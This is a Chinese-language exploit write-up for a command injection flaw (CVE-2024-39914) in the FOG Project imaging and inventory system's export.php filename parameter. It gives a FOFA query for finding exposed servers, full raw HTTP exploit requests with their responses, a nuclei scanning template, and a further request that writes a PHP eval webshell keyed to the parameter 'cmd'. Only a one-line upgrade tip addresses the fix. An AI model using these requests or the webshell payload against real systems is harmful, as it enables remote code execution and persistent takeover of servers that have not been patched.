FOG Project库存管理系统命令注入漏洞

漏洞名称

FOG 在 /fog/management/export.php 中存在命令注入漏洞

影响版本

FOG < 1.5.10.34版本

漏洞描述

FOG是一款克隆/成像/救援套件/库存管理系统。
在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。

FOFA搜索语句

body="FOG Project"

打开首页瞅一瞅

漏洞复现:
向靶场发送如下数据包，写入文件命令:
echo+'kpvyggzrnonvuycaipvl'+>+qzjtyryy.php
通过echo命令写入一个qzjtyryy.php文件内容为kpvyggzrnonvuycaipvl
直接访问/fog/management/export.php?filename=$(这里填写需要执行的命令)&type=pdf
Exp:

POST /fog/management/export.php?filename=$(echo+'kpvyggzrnonvuycaipvl'+>+qzjtyryy.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Length: 25
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

响应内容如下:

HTTP/1.1 200 OK
Connection: close
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate
Content-Disposition: attachment; filename=$(echo 'kpvyggzrnonvuycaipvl' > qzjtyryy.php).pdf
Content-Security-Policy: default-src 'none';script-src 'self' 'unsafe-eval';connect-src 'self';img-src 'self' data:;style-src 'self' 'unsafe-inline';font-src 'self';     
Content-Type: application/pdf
Date: Fri, 19 Jul 2024 01:20:08 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
Set-Cookie: PHPSESSID=9k547umgoipd3k1giph5bh287j; path=/
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Powered-By: PHP/7.2.24
X-Xss-Protection: 1; mode=block

访问刚刚用命令生成的文件

GET /fog/management/qzjtyryy.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
Cookie: PHPSESSID=9k547umgoipd3k1giph5bh287j

响应内容:

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Date: Fri, 19 Jul 2024 01:20:08 GMT
Server: Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24

kpvyggzrnonvuycaipvl

文件存在，内容也是刚刚写入的字符串
漏洞复现成功
参考链接：
https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
nuclei poc代码:

id: CVE-2024-39914

info:
  name: FOG 在 /fog/management/export.php?filename= 中存在命令注入漏洞
  author: fgz
  severity: critical
  description: FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。
  metadata:
    max-request: 1
    fofa-query: body="FOG Project"
    verified: true
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}"
  file_content: "{{to_lower(rand_text_alpha(20))}}"
  rboundary: "{{to_lower(rand_text_alpha(29))}}"
requests:
  - raw:
      - |+
        POST /fog/management/export.php?filename=$(echo+'{{file_content}}'+>+{{file_name}}.php)&type=pdf HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        
        fogguiuser=fog&nojson=2

      - |
        GET /fog/management/{{file_name}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"

poc可随机生成文件名和文件内容，用来测试目标站点是否存在此漏洞

写入webshell EXP:

POST /fog/management/export.php?filename=$(echo+'<?php+eval($_POST['"'cmd'"']);+?>'+>+webshell.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
fogguiuser=fog&nojson=2

POST提交后即可生成 http://example.com/fog/management/webshell.php 一句话密码cmd

漏洞修复建议

升级到最新版本。漏洞利用成本非常低，请尽快修复。